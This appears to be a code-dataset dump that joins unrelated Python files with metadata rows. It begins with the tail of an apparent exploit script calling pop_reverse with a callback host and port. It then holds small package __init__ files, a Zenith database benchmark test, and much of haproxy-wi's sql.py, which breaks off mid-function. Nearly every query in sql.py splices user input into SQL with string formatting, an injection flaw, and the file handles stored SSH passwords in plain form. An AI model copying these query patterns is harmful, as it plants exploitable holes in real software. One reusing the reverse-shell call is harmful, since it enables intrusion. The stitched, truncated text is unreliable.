pop_reverse(base_url=args[1], cb_host=args[2], cb_port=args[3])
if __name__ == "__main__":
main(args=sys.argv)
| 65.537313 | 2,106 | 0.800501 | 340 | 4,391 | 10.197059 | 0.35 | 0.026247 | 0.024228 | 0.019614 | 0.064609 | 0.047303 | 0.047303 | 0.047303 | 0.047303 | 0.047303 | 0 | 0.072599 | 0.096561 | 4,391 | 66 | 2,107 | 66.530303 | 0.801361 | 0.00706 | 0 | 0.192982 | 0 | 0.017544 | 0.618632 | 0.513079 | 0 | 1 | 0 | 0 | 0.017544 | 0 | null | null | 0 | 0.035088 | null | null | 0.052632 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
69c29d675a3901f6528dc709efd71ea6ba298177 | 241 | py | Python | brainless/__init__.py | loaiabdalslam/Brainless | d363e0d713fc9b024a4fac990b9c39cd59769454 | [
"MIT"
] | 1 | 2020-02-28T12:12:21.000Z | 2020-02-28T12:12:21.000Z | brainless/__init__.py | loaiabdalslam/Brainless | d363e0d713fc9b024a4fac990b9c39cd59769454 | [
"MIT"
] | null | null | null | brainless/__init__.py | loaiabdalslam/Brainless | d363e0d713fc9b024a4fac990b9c39cd59769454 | [
"MIT"
] | null | null | null |
from brainless._version import __version__
from brainless.predictor import Predictor
from brainless.utils_models import load_ml_model
from brainless.algorithm.classifier import Classifier
from brainless.algorithm.regressor import Regressor
| 34.428571 | 53 | 0.883817 | 30 | 241 | 6.833333 | 0.433333 | 0.317073 | 0.214634 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.087137 | 241 | 6 | 54 | 40.166667 | 0.931818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0e0457ccab9ce4536a0cf6a29b6919ac41da1609 | 5,338 | py | Python | test_runner/performance/test_parallel_copy_to.py | libzenith/zenith | 4b3b19f4448f650b918230d972e2ec68815dcbdb | [
"ECL-2.0",
"Apache-2.0"
] | 189 | 2021-03-30T13:09:46.000Z | 2022-03-22T15:34:38.000Z | test_runner/performance/test_parallel_copy_to.py | zenithdb/zenith | 4b3b19f4448f650b918230d972e2ec68815dcbdb | [
"ECL-2.0",
"Apache-2.0"
] | 991 | 2021-04-05T14:37:16.000Z | 2022-03-31T23:11:03.000Z | test_runner/performance/test_parallel_copy_to.py | zenithdb/zenith | 4b3b19f4448f650b918230d972e2ec68815dcbdb | [
"ECL-2.0",
"Apache-2.0"
] | 18 | 2021-04-06T04:05:50.000Z | 2022-03-07T18:05:51.000Z | from io import BytesIO
import asyncio
import asyncpg
from fixtures.zenith_fixtures import ZenithEnv, Postgres
from fixtures.log_helper import log
from fixtures.benchmark_fixture import MetricReport, ZenithBenchmarker
pytest_plugins = ("fixtures.zenith_fixtures", "fixtures.benchmark_fixture")
async def repeat_bytes(buf, repetitions: int):
for i in range(repetitions):
yield buf
async def copy_test_data_to_table(pg: Postgres, worker_id: int, table_name: str):
buf = BytesIO()
for i in range(1000):
buf.write(
f"{i}\tLoaded by worker {worker_id}. Long string to consume some space.\n".encode())
buf.seek(0)
copy_input = repeat_bytes(buf.read(), 5000)
pg_conn = await pg.connect_async()
await pg_conn.copy_to_table(table_name, source=copy_input)
async def parallel_load_different_tables(pg: Postgres, n_parallel: int):
workers = []
for worker_id in range(n_parallel):
worker = copy_test_data_to_table(pg, worker_id, f'copytest_{worker_id}')
workers.append(asyncio.create_task(worker))
# await all workers
await asyncio.gather(*workers)
# Load 5 different tables in parallel with COPY TO
def test_parallel_copy_different_tables(zenith_simple_env: ZenithEnv,
zenbenchmark: ZenithBenchmarker,
n_parallel=5):
env = zenith_simple_env
# Create a branch for us
env.zenith_cli(["branch", "test_parallel_copy_different_tables", "empty"])
pg = env.postgres.create_start('test_parallel_copy_different_tables')
log.info("postgres is running on 'test_parallel_copy_different_tables' branch")
# Open a connection directly to the page server that we'll use to force
# flushing the layers to disk
psconn = env.pageserver.connect()
pscur = psconn.cursor()
# Get the timeline ID of our branch. We need it for the 'do_gc' command
conn = pg.connect()
cur = conn.cursor()
cur.execute("SHOW zenith.zenith_timeline")
timeline = cur.fetchone()[0]
for worker_id in range(n_parallel):
cur.execute(f'CREATE TABLE copytest_{worker_id} (i int, t text)')
with zenbenchmark.record_pageserver_writes(env.pageserver, 'pageserver_writes'):
with zenbenchmark.record_duration('load'):
asyncio.run(parallel_load_different_tables(pg, n_parallel))
# Flush the layers from memory to disk. This is included in the reported
# time and I/O
pscur.execute(f"do_gc {env.initial_tenant} {timeline} 0")
# Record peak memory usage
zenbenchmark.record("peak_mem",
zenbenchmark.get_peak_mem(env.pageserver) / 1024,
'MB',
report=MetricReport.LOWER_IS_BETTER)
# Report disk space used by the repository
timeline_size = zenbenchmark.get_timeline_size(env.repo_dir, env.initial_tenant, timeline)
zenbenchmark.record('size',
timeline_size / (1024 * 1024),
'MB',
report=MetricReport.LOWER_IS_BETTER)
async def parallel_load_same_table(pg: Postgres, n_parallel: int):
workers = []
for worker_id in range(n_parallel):
worker = copy_test_data_to_table(pg, worker_id, f'copytest')
workers.append(asyncio.create_task(worker))
# await all workers
await asyncio.gather(*workers)
# Load data into one table with COPY TO from 5 parallel connections
def test_parallel_copy_same_table(zenith_simple_env: ZenithEnv,
zenbenchmark: ZenithBenchmarker,
n_parallel=5):
env = zenith_simple_env
# Create a branch for us
env.zenith_cli(["branch", "test_parallel_copy_same_table", "empty"])
pg = env.postgres.create_start('test_parallel_copy_same_table')
log.info("postgres is running on 'test_parallel_copy_same_table' branch")
# Open a connection directly to the page server that we'll use to force
# flushing the layers to disk
psconn = env.pageserver.connect()
pscur = psconn.cursor()
# Get the timeline ID of our branch. We need it for the 'do_gc' command
conn = pg.connect()
cur = conn.cursor()
cur.execute("SHOW zenith.zenith_timeline")
timeline = cur.fetchone()[0]
cur.execute(f'CREATE TABLE copytest (i int, t text)')
with zenbenchmark.record_pageserver_writes(env.pageserver, 'pageserver_writes'):
with zenbenchmark.record_duration('load'):
asyncio.run(parallel_load_same_table(pg, n_parallel))
# Flush the layers from memory to disk. This is included in the reported
# time and I/O
pscur.execute(f"do_gc {env.initial_tenant} {timeline} 0")
# Record peak memory usage
zenbenchmark.record("peak_mem",
zenbenchmark.get_peak_mem(env.pageserver) / 1024,
'MB',
report=MetricReport.LOWER_IS_BETTER)
# Report disk space used by the repository
timeline_size = zenbenchmark.get_timeline_size(env.repo_dir, env.initial_tenant, timeline)
zenbenchmark.record('size',
timeline_size / (1024 * 1024),
'MB',
report=MetricReport.LOWER_IS_BETTER)
| 37.858156 | 96 | 0.666354 | 688 | 5,338 | 4.953488 | 0.219477 | 0.021127 | 0.037559 | 0.029343 | 0.801056 | 0.742371 | 0.718603 | 0.710681 | 0.710681 | 0.659624 | 0 | 0.010214 | 0.248033 | 5,338 | 140 | 97 | 38.128571 | 0.838814 | 0.155864 | 0 | 0.593023 | 0 | 0 | 0.160312 | 0.06466 | 0 | 0 | 0 | 0 | 0 | 1 | 0.023256 | false | 0 | 0.069767 | 0 | 0.093023 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
38b3930510c7f655ed2192a6dd6be6d530f8167e | 35 | py | Python | pycuteweb/__init__.py | MatteoMeneghetti/pycuteweb | 00a887a1ade717722807ccdf7e907ac7af2fac8e | [
"MIT"
] | 1 | 2020-11-23T14:32:48.000Z | 2020-11-23T14:32:48.000Z | pycuteweb/__init__.py | matteomeneghetti/pycuteweb | 00a887a1ade717722807ccdf7e907ac7af2fac8e | [
"MIT"
] | null | null | null | pycuteweb/__init__.py | matteomeneghetti/pycuteweb | 00a887a1ade717722807ccdf7e907ac7af2fac8e | [
"MIT"
] | null | null | null | from .pycuteweb import Application
| 17.5 | 34 | 0.857143 | 4 | 35 | 7.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114286 | 35 | 1 | 35 | 35 | 0.967742 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c7fd5a18f4cacb78cfc3fc91e01368640fd76090 | 24 | py | Python | psy/irt/__init__.py | Alias-Alan/pypsy | f055fe1f4901b654d99d9a776152e8192e014f5f | [
"MIT"
] | 169 | 2017-08-29T01:35:49.000Z | 2022-03-01T05:03:02.000Z | psy/irt/__init__.py | a854367688/pypsy | f055fe1f4901b654d99d9a776152e8192e014f5f | [
"MIT"
] | 8 | 2017-12-05T05:20:35.000Z | 2021-10-03T05:40:45.000Z | psy/irt/__init__.py | a854367688/pypsy | f055fe1f4901b654d99d9a776152e8192e014f5f | [
"MIT"
] | 67 | 2017-09-01T04:18:54.000Z | 2022-02-24T08:21:18.000Z | from psy.irt import grm
| 12 | 23 | 0.791667 | 5 | 24 | 3.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 24 | 1 | 24 | 24 | 0.95 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2a0cd6c2618e35a94bc55ef02d0418e339f9e5fa | 48,788 | py | Python | app/sql.py | lgrawet/haproxy-wi | a28741435dc10c6aafe662050e587f08536583f2 | [
"Apache-2.0"
] | null | null | null | app/sql.py | lgrawet/haproxy-wi | a28741435dc10c6aafe662050e587f08536583f2 | [
"Apache-2.0"
] | null | null | null | app/sql.py | lgrawet/haproxy-wi | a28741435dc10c6aafe662050e587f08536583f2 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import funct
mysql_enable = funct.get_config_var('mysql', 'enable')
if mysql_enable == '1':
import mysql.connector as sqltool
else:
db = "/var/www/haproxy-wi/app/haproxy-wi.db"
import sqlite3 as sqltool
def get_cur():
try:
if mysql_enable == '0':
con = sqltool.connect(db, isolation_level=None)
else:
mysql_user = funct.get_config_var('mysql', 'mysql_user')
mysql_password = funct.get_config_var('mysql', 'mysql_password')
mysql_db = funct.get_config_var('mysql', 'mysql_db')
mysql_host = funct.get_config_var('mysql', 'mysql_host')
mysql_port = funct.get_config_var('mysql', 'mysql_port')
con = sqltool.connect(user=mysql_user, password=mysql_password,
host=mysql_host, port=mysql_port,
database=mysql_db)
cur = con.cursor()
except sqltool.Error as e:
funct.logging('DB ', ' '+e, haproxywi=1, login=1)
else:
return con, cur
def add_user(user, email, password, role, group, activeuser):
con, cur = get_cur()
if password != 'aduser':
sql = """INSERT INTO user (username, email, password, role, groups, activeuser) VALUES ('%s', '%s', '%s', '%s', '%s', '%s')""" % (user, email, funct.get_hash(password), role, group, activeuser)
else:
sql = """INSERT INTO user (username, email, role, groups, ldap_user, activeuser) VALUES ('%s', '%s', '%s', '%s', '1', '%s')""" % (user, email, role, group, activeuser)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
return False
else:
return True
cur.close()
con.close()
def update_user(user, email, role, group, id, activeuser):
con, cur = get_cur()
sql = """update user set username = '%s',
email = '%s',
role = '%s',
groups = '%s',
activeuser = '%s'
where id = '%s'""" % (user, email, role, group, activeuser, id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
return False
else:
return True
cur.close()
con.close()
def update_user_password(password, id):
con, cur = get_cur()
sql = """update user set password = '%s'
where id = '%s'""" % (funct.get_hash(password), id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
return False
else:
return True
cur.close()
con.close()
def delete_user(id):
con, cur = get_cur()
sql = """delete from user where id = '%s'""" % (id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
return False
else:
return True
cur.close()
con.close()
def add_group(name, description):
con, cur = get_cur()
sql = """INSERT INTO groups (name, description) VALUES ('%s', '%s')""" % (name, description)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
return False
else:
return True
cur.close()
con.close()
def delete_group(id):
con, cur = get_cur()
sql = """ delete from groups where id = '%s'""" % (id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
else:
return True
cur.close()
con.close()
def update_group(name, descript, id):
con, cur = get_cur()
sql = """ update groups set
name = '%s',
description = '%s'
where id = '%s';
""" % (name, descript, id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
return False
else:
return True
cur.close()
con.close()
def add_server(hostname, ip, group, typeip, enable, master, cred, port, desc, haproxy, nginx):
con, cur = get_cur()
sql = """ INSERT INTO servers (hostname, ip, groups, type_ip, enable, master, cred, port, `desc`, haproxy, nginx)
VALUES ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')
""" % (hostname, ip, group, typeip, enable, master, cred, port, desc, haproxy, nginx)
try:
cur.execute(sql)
con.commit()
return True
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
return False
cur.close()
con.close()
def delete_server(id):
con, cur = get_cur()
sql = """ delete from servers where id = '%s'""" % (id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
else:
return True
cur.close()
con.close()
def update_hapwi_server(id, alert, metrics, active):
con, cur = get_cur()
sql = """ update servers set
alert = '%s',
metrics = '%s',
active = '%s'
where id = '%s'""" % (alert, metrics, active, id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def update_server(hostname, group, typeip, enable, master, id, cred, port, desc, haproxy, nginx):
con, cur = get_cur()
sql = """ update servers set
hostname = '%s',
groups = '%s',
type_ip = '%s',
enable = '%s',
master = '%s',
cred = '%s',
port = '%s',
`desc` = '%s',
haproxy = '%s',
nginx = '%s'
where id = '%s'""" % (hostname, group, typeip, enable, master, cred, port, desc, haproxy, nginx, id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def update_server_master(master, slave):
con, cur = get_cur()
sql = """ select id from servers where ip = '%s' """ % master
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
for id in cur.fetchall():
sql = """ update servers set master = '%s' where ip = '%s' """ % (id[0], slave)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def select_users(**kwargs):
con, cur = get_cur()
sql = """select * from user ORDER BY id"""
if kwargs.get("user") is not None:
sql = """select * from user where username='%s' """ % kwargs.get("user")
if kwargs.get("id") is not None:
sql = """select * from user where id='%s' """ % kwargs.get("id")
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def select_groups(**kwargs):
con, cur = get_cur()
sql = """select * from groups ORDER BY id"""
if kwargs.get("group") is not None:
sql = """select * from groups where name='%s' """ % kwargs.get("group")
if kwargs.get("id") is not None:
sql = """select * from groups where id='%s' """ % kwargs.get("id")
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def select_user_name_group(id):
con, cur = get_cur()
sql = """select name from groups where id='%s' """ % id
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
for group in cur.fetchone():
return group
cur.close()
con.close()
def select_server_by_name(name):
con, cur = get_cur()
sql = """select ip from servers where hostname='%s' """ % name
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
for name in cur.fetchone():
return name
cur.close()
con.close()
def select_servers(**kwargs):
con, cur = get_cur()
sql = """select * from servers where enable = '1' ORDER BY groups """
if kwargs.get("server") is not None:
sql = """select * from servers where ip='%s' """ % kwargs.get("server")
if kwargs.get("full") is not None:
sql = """select * from servers ORDER BY hostname """
if kwargs.get("get_master_servers") is not None:
sql = """select id,hostname from servers where master = 0 and type_ip = 0 and enable = 1 ORDER BY groups """
if kwargs.get("get_master_servers") is not None and kwargs.get('uuid') is not None:
sql = """ select servers.id, servers.hostname from servers
left join user as user on servers.groups = user.groups
left join uuid as uuid on user.id = uuid.user_id
where uuid.uuid = '%s' and servers.master = 0 and servers.type_ip = 0 and servers.enable = 1 ORDER BY servers.groups
""" % kwargs.get('uuid')
if kwargs.get("id"):
sql = """select * from servers where id='%s' """ % kwargs.get("id")
if kwargs.get("hostname"):
sql = """select * from servers where hostname='%s' """ % kwargs.get("hostname")
if kwargs.get("id_hostname"):
sql = """select * from servers where hostname='%s' or id = '%s' or ip = '%s'""" % (kwargs.get("id_hostname"), kwargs.get("id_hostname"), kwargs.get("id_hostname"))
if kwargs.get("server") and kwargs.get("keep_alive"):
sql = """select active from servers where ip='%s' """ % kwargs.get("server")
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def write_user_uuid(login, user_uuid):
con, cur = get_cur()
session_ttl = get_setting('session_ttl')
session_ttl = int(session_ttl)
sql = """ select id from user where username = '%s' """ % login
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
for id in cur.fetchall():
if mysql_enable == '1':
sql = """ insert into uuid (user_id, uuid, exp) values('%s', '%s', now()+ INTERVAL '%s' day) """ % (id[0], user_uuid, session_ttl)
else:
sql = """ insert into uuid (user_id, uuid, exp) values('%s', '%s', datetime('now', '+%s days')) """ % (id[0], user_uuid, session_ttl)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def write_user_token(login, user_token):
con, cur = get_cur()
token_ttl = get_setting('token_ttl')
sql = """ select id from user where username = '%s' """ % login
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
for id in cur.fetchall():
if mysql_enable == '1':
sql = """ insert into token (user_id, token, exp) values('%s', '%s', now()+ INTERVAL %s day) """ % (id[0], user_token, token_ttl)
else:
sql = """ insert into token (user_id, token, exp) values('%s', '%s', datetime('now', '+%s days')) """ % (id[0], user_token, token_ttl)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def get_token(uuid):
con, cur = get_cur()
sql = """ select token.token from token left join uuid as uuid on uuid.user_id = token.user_id where uuid.uuid = '%s' """ % uuid
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
for token in cur.fetchall():
return token[0]
cur.close()
con.close()
def delete_uuid(uuid):
con, cur = get_cur()
sql = """ delete from uuid where uuid = '%s' """ % uuid
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
pass
cur.close()
con.close()
def delete_old_uuid():
con, cur = get_cur()
if mysql_enable == '1':
sql = """ delete from uuid where exp < now() or exp is NULL """
sql1 = """ delete from token where exp < now() or exp is NULL """
else:
sql = """ delete from uuid where exp < datetime('now') or exp is NULL"""
sql1 = """ delete from token where exp < datetime('now') or exp is NULL"""
try:
cur.execute(sql)
cur.execute(sql1)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def update_last_act_user(uuid):
con, cur = get_cur()
session_ttl = get_setting('session_ttl')
if mysql_enable == '1':
sql = """ update uuid set exp = now()+ INTERVAL %s day where uuid = '%s' """ % (session_ttl, uuid)
else:
sql = """ update uuid set exp = datetime('now', '+%s days') where uuid = '%s' """ % (session_ttl, uuid)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def get_user_name_by_uuid(uuid):
con, cur = get_cur()
sql = """ select user.username from user left join uuid as uuid on user.id = uuid.user_id where uuid.uuid = '%s' """ % uuid
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
for user_id in cur.fetchall():
return user_id[0]
cur.close()
con.close()
def get_user_role_by_uuid(uuid):
con, cur = get_cur()
try:
cur.execute("select role.id from user left join uuid as uuid on user.id = uuid.user_id left join role on role.name = user.role where uuid.uuid = ?", (uuid,))
except sqltool.Error as e:
funct.out_error(e)
else:
for user_id in cur.fetchall():
return user_id[0]
cur.close()
con.close()
def get_role_id_by_name(name):
con, cur = get_cur()
sql = """ select id from role where name = '%s' """ % name
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
for user_id in cur.fetchall():
return user_id[0]
cur.close()
con.close()
def get_user_group_by_uuid(uuid):
con, cur = get_cur()
sql = """ select user.groups from user left join uuid as uuid on user.id = uuid.user_id where uuid.uuid = '%s' """ % uuid
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
for user_id in cur.fetchall():
return user_id[0]
cur.close()
con.close()
def get_user_telegram_by_uuid(uuid):
con, cur = get_cur()
sql = """ select telegram.* from telegram left join user as user on telegram.groups = user.groups left join uuid as uuid on user.id = uuid.user_id where uuid.uuid = '%s' """ % uuid
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def get_telegram_by_ip(ip):
con, cur = get_cur()
sql = """ select telegram.* from telegram left join servers as serv on serv.groups = telegram.groups where serv.ip = '%s' """ % ip
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def get_dick_permit(**kwargs):
import http.cookies
import os
cookie = http.cookies.SimpleCookie(os.environ.get("HTTP_COOKIE"))
user_id = cookie.get('uuid')
disable = ''
haproxy = ''
nginx = ''
keepalived = ''
ip = ''
con, cur = get_cur()
if kwargs.get('username'):
sql = """ select * from user where username = '%s' """ % kwargs.get('username')
else:
sql = """ select * from user where username = '%s' """ % get_user_name_by_uuid(user_id.value)
if kwargs.get('virt'):
type_ip = ""
else:
type_ip = "and type_ip = 0"
if kwargs.get('disable') == 0:
disable = 'or enable = 0'
if kwargs.get('ip'):
ip = "and ip = '%s'" % kwargs.get('ip')
if kwargs.get('haproxy'):
haproxy = "and haproxy = 1"
if kwargs.get('nginx'):
nginx = "and nginx = 1"
if kwargs.get('keepalived'):
nginx = "and keepalived = 1"
try:
cur.execute(sql)
except sqltool.Error as e:
print("An error occurred:", e)
else:
for group in cur:
if group[5] == '1':
sql = """ select * from servers where enable = 1 %s %s %s """ % (disable, type_ip, nginx)
else:
sql = """ select * from servers where groups like '%{group}%' and (enable = 1 {disable}) {type_ip} {ip} {haproxy} {nginx} {keepalived}
""".format(group=group[5], disable=disable, type_ip=type_ip, ip=ip, haproxy=haproxy, nginx=nginx, keepalived=keepalived)
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def is_master(ip, **kwargs):
con, cur = get_cur()
sql = """ select slave.ip, slave.hostname from servers as master left join servers as slave on master.id = slave.master where master.ip = '%s' """ % ip
if kwargs.get('master_slave'):
sql = """ select master.hostname, master.ip, slave.hostname, slave.ip from servers as master left join servers as slave on master.id = slave.master where slave.master > 0 """
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def select_ssh(**kwargs):
con, cur = get_cur()
sql = """select * from cred """
if kwargs.get("name") is not None:
sql = """select * from cred where name = '%s' """ % kwargs.get("name")
if kwargs.get("id") is not None:
sql = """select * from cred where id = '%s' """ % kwargs.get("id")
if kwargs.get("serv") is not None:
sql = """select serv.cred, cred.* from servers as serv left join cred on cred.id = serv.cred where serv.ip = '%s' """ % kwargs.get("serv")
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def insert_new_ssh(name, enable, group, username, password):
con, cur = get_cur()
sql = """insert into cred(name, enable, groups, username, password) values ('%s', '%s', '%s', '%s', '%s') """ % (name, enable, group, username, password)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
else:
return True
cur.close()
con.close()
def delete_ssh(id):
con, cur = get_cur()
sql = """ delete from cred where id = %s """ % (id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
else:
return True
cur.close()
con.close()
def update_ssh(id, name, enable, group, username, password):
con, cur = get_cur()
sql = """ update cred set
name = '%s',
enable = '%s',
groups = %s,
username = '%s',
password = '%s' where id = '%s' """ % (name, enable, group, username, password, id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def insert_backup_job(server, rserver, rpath, type, time, cred, description):
con, cur = get_cur()
sql = """insert into backups(server, rhost, rpath, type, time, cred, description) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s') """ % (server, rserver, rpath, type, time, cred, description)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
return False
else:
return True
cur.close()
con.close()
def select_backups(**kwargs):
con, cur = get_cur()
sql = """select * from backups ORDER BY id"""
if kwargs.get("server") is not None and kwargs.get("rserver") is not None:
sql = """select * from backups where server='%s' and rhost = '%s' """ % (kwargs.get("server"), kwargs.get("rserver"))
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def update_backup(server, rserver, rpath, type, time, cred, description, id):
con, cur = get_cur()
sql = """update backups set server = '%s',
rhost = '%s',
rpath = '%s',
type = '%s',
time = '%s',
cred = '%s',
description = '%s' where id = '%s' """ % (server, rserver, rpath, type, time, cred, description, id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
return False
else:
return True
cur.close()
con.close()
def delete_backups(id):
con, cur = get_cur()
sql = """ delete from backups where id = %s """ % (id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
else:
return True
cur.close()
con.close()
def check_exists_backup(server):
con, cur = get_cur()
sql = """ select id from backups where server = '%s' """ % server
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
for s in cur.fetchall():
if s[0] is not None:
return True
else:
return False
cur.close()
con.close()
def insert_new_telegram(token, chanel, group):
con, cur = get_cur()
sql = """insert into telegram(`token`, `chanel_name`, `groups`) values ('%s', '%s', '%s') """ % (token, chanel, group)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
print('<span class="alert alert-danger" id="error">An error occurred: ' + e.args[0] + ' <a title="Close" id="errorMess"><b>X</b></a></span>')
con.rollback()
else:
return True
cur.close()
con.close()
def delete_telegram(id):
con, cur = get_cur()
sql = """ delete from telegram where id = %s """ % (id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
else:
return True
cur.close()
con.close()
def select_telegram(**kwargs):
con, cur = get_cur()
sql = """select * from telegram """
if kwargs.get('group'):
sql = """select * from telegram where groups = '%s' """ % kwargs.get('group')
if kwargs.get('token'):
sql = """select * from telegram where token = '%s' """ % kwargs.get('token')
if kwargs.get('id'):
sql = """select * from telegram where id = '%s' """ % kwargs.get('id')
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def insert_new_telegram(token, chanel, group):
con, cur = get_cur()
sql = """insert into telegram(`token`, `chanel_name`, `groups`) values ('%s', '%s', '%s') """ % (token, chanel, group)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
print('<span class="alert alert-danger" id="error">An error occurred: ' + e.args[0] + ' <a title="Close" id="errorMess"><b>X</b></a></span>')
con.rollback()
else:
return True
cur.close()
con.close()
def update_telegram(token, chanel, group, id):
con, cur = get_cur()
sql = """ update telegram set
`token` = '%s',
`chanel_name` = '%s',
`groups` = '%s'
where id = '%s' """ % (token, chanel, group, id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def insert_new_option(option, group):
con, cur = get_cur()
sql = """insert into options(`options`, `groups`) values ('%s', '%s') """ % (option, group)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
else:
return True
cur.close()
con.close()
def select_options(**kwargs):
con, cur = get_cur()
sql = """select * from options """
if kwargs.get('option'):
